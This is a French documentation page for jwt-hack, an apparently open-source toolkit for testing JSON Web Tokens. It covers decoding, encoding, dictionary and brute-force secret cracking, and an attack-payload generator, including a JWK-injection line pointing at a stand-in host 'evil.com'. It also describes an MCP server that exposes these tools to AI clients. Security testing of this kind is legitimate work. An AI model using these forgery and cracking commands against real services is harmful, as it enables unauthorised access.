
Kit de piratage de jetons Web JSON
Boîte à outils de piratage de JSON Web Token
Une boîte à outils haute performance pour tester, analyser et attaquer les JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
Vous pouvez décoder les JWT classiques et compressés avec DEFLATE. L'outil détecte et décompresse automatiquement les jetons compressés.
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
Décodez les jetons JWE (JSON Web Encryption) pour analyser leur structure. L'outil détecte automatiquement le format JWE (5 parties) et affiche les détails du chiffrement.
# Décoder la structure d'un jeton JWE
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# Affiche l'en-tête JWE, la clé chiffrée, l'IV, le texte chiffré et le tag d'authentification
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
Vous pouvez utiliser l'option --compress pour appliquer la compression DEFLATE au payload du JWT.
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# Avec une clé privée
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
Créez des jetons JWE (JSON Web Encryption) pour tester les scénarios JWT chiffrés.
# Encodage JWE de base
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# Les jetons JWE sont chiffrés et ne peuvent être déchiffrés qu'avec la clé appropriée
jwt-hack encode '{"sensitive":"data"}' --jwe
Vérifie si la signature d'un JWT est valide à l'aide du secret ou de la clé fournis.
# Avec un secret (algorithmes HMAC comme HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# Avec une clé privée (pour les algorithmes asymétriques comme RS256, ES256, EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
Les attaques par dictionnaire et par force brute prennent également en charge les JWT compressés avec DEFLATE.
# Attaque par dictionnaire
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# Attaque par force brute
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
Analysez automatiquement les jetons JWT pour détecter les problèmes de sécurité et les vulnérabilités courants.
# Analyse complète incluant la détection de secrets faibles et la génération de payloads
jwt-hack scan JWT_TOKEN
# Ignorer le craquage de secret pour des résultats plus rapides
jwt-hack scan JWT_TOKEN --skip-crack
# Ignorer la génération de payloads
jwt-hack scan JWT_TOKEN --skip-payloads
# Utiliser une liste de mots personnalisée pour la détection de secrets faibles
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# Limiter les tentatives de test de secret
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
La commande scan vérifie :
Démarrez une API REST locale pour l'automatisation et les intégrations. Pour exiger une authentification, utilisez --api-key et incluez X-API-KEY dans les requêtes.
# Démarrer sur localhost:3000 avec protection par clé API
jwt-hack server --api-key your-api-key
# Exemple de requête (doit inclure X-API-KEY lorsque --api-key est défini)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
jwt-hack peut fonctionner comme un serveur MCP, permettant aux modèles IA d'interagir avec les fonctionnalités JWT via un protocole standardisé.
# Démarrer le serveur MCP (communique via stdio)
jwt-hack mcp
Le serveur MCP expose les outils suivants :
Le serveur MCP est conçu pour être utilisé par les modèles IA et les clients MCP. Chaque outil accepte des paramètres JSON et renvoie des réponses structurées.
Outil Decode :
{
"name": "decode",
"arguments": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
}
Outil Encode :
{
"name": "encode",
"arguments": {
"json": "{\"sub\":\"1234\",\"name\":\"test\"}",
"secret": "mysecret",
"algorithm": "HS256"
}
}
Vous pouvez connecter le serveur MCP de jwt-hack à des clients MCP populaires. Assurez-vous que le binaire jwt-hack est sur votre système et accessible par le client.
VSCode
{
"servers": {
"jwt-hack": {
"type": "stdio",
"command": "jwt-hack",
"args": [
"mcp"
]
}
},
"inputs": []
}
Claude Desktop
{
"mcpServers": {
"jwt-hack": {
"command": "jwt-hack",
"args": ["mcp"],
"env": {}
}
}
}
| Algorithme | Description |
|---|---|
| A128GCM | AES-GCM utilisant une clé de 128 bits |
| A256GCM | AES-GCM utilisant une clé de 256 bits |
| Algorithme | Description |
|---|---|
| dir | Utilisation directe de la clé symétrique partagée |
Prise en charge de la compression DEFLATE La boîte à outils
jwt-hackprend en charge la compression DEFLATE pour les JWT.
- Utilisez l'option
--compressavecencodepour générer des JWT compressés.- Les modes
decodeetcrackdétectent et gèrent automatiquement les JWT compressés.
Urx est un projet open-source réalisé avec ❤️ Si vous souhaitez contribuer à ce projet, veuillez consulter CONTRIBUTING.md et soumettre une Pull-Request avec vos contenus sympas.
| Mode | Description | Support |
|---|
| Encode | Encodeur JWT/JWE | Basé sur secret / Basé sur clé / Algorithme / En-tête personnalisé / Compression DEFLATE / JWE |
| Decode | Décodeur JWT/JWE | Algorithme, Vérification de la date d'émission, Compression DEFLATE, Structure JWE |
| Verify | Vérificateur JWT | Basé sur secret / Basé sur clé (pour les algorithmes asymétriques) |
| Crack | Craqueur de secret | Attaque par dictionnaire / Force brute / Compression DEFLATE |
| Payload | Générateur de payloads d'attaque JWT | none / jku&x5u / alg_confusion (signé via --public-key) / injection kid & claim / falsification de claims / malléabilité de signature / sondes JWE / x5c / cty |
| Scan | Scanner de vulnérabilités | Vérifications de sécurité automatisées pour les vulnérabilités JWT courantes |
| Server | Serveur API | Exécuter le mode serveur API (http://localhost:3000) |
| MCP | Serveur Model Context Protocol | Intégration de modèles IA via un protocole standardisé |
| Outil | Description | Paramètres |
|---|
decode | Décoder les jetons JWT | token (string) |
encode | Encoder du JSON en JWT | json (string), secret (optionnel), algorithm (défaut : HS256), no_signature (boolean) |
verify | Vérifier les signatures JWT | token (string), secret (optionnel), validate_exp (boolean) |
crack | Craquer les jetons JWT | token (string), mode (dict/brute), chars (string), max (number) |
payload | Générer des payloads d'attaque | token (string), target (string), jwk_attack (optionnel), jwk_protocol (défaut : https), public_key (PEM/chemin optionnel pour alg-confusion signé) |
| Algorithme | Description | Type |
|---|
| HS256 | HMAC utilisant SHA-256 | Symétrique |
| HS384 | HMAC utilisant SHA-384 | Symétrique |
| HS512 | HMAC utilisant SHA-512 | Symétrique |
| RS256 | RSASSA-PKCS1-v1_5 utilisant SHA-256 | Asymétrique |
| RS384 | RSASSA-PKCS1-v1_5 utilisant SHA-384 | Asymétrique |
| RS512 | RSASSA-PKCS1-v1_5 utilisant SHA-512 | Asymétrique |
| ES256 | ECDSA utilisant P-256 et SHA-256 | Asymétrique |
| ES384 | ECDSA utilisant P-384 et SHA-384 | Asymétrique |
| PS256 | RSASSA-PSS utilisant SHA-256 | Asymétrique |
| PS384 | RSASSA-PSS utilisant SHA-384 | Asymétrique |
| PS512 | RSASSA-PSS utilisant SHA-512 | Asymétrique |
| EdDSA | Algorithme de signature numérique à courbe d'Edwards | Asymétrique |
| none | Aucune signature numérique | - |